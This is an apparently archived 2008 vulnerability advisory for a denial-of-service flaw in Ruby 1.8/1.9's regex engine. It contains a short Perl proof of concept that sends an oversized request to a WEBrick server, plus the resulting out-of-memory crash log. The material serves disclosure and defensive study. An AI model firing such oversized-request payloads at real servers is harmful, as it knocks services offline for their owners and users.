Ruby 1.9 - regex engine Remote Socket Memory Leak







Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

Language : Ruby 

Web Site:

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes

1) Introduction
2) Bug
3) Proof of concept
4) Credits

1) Introduction
"A dynamic, open source programming language with a focus on simplicity and productivity.
It has an elegant syntax that is natural to read and easy to write."

2) Bug
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go 
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

3)Proof of concept
This poc is an exemple for Webrick web server :

use LWP::Simple;
my $payload = "\x41" x 49999999;
print "[+]\n";
get "".$payload."";

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO  WEBrick 1.3.1
[2008-07-11 22:39:55] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO  WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
        /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'
        /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
        /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
        /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'
        /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'
[FATAL] failed to allocate memory


laurent gaffié


# [2008-08-13]